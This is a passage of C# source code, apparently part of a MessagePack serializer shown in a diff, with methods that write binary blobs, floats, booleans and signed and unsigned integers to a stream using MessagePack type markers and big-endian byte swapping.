else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

Some files were not shown because too many files have changed in this diff Show More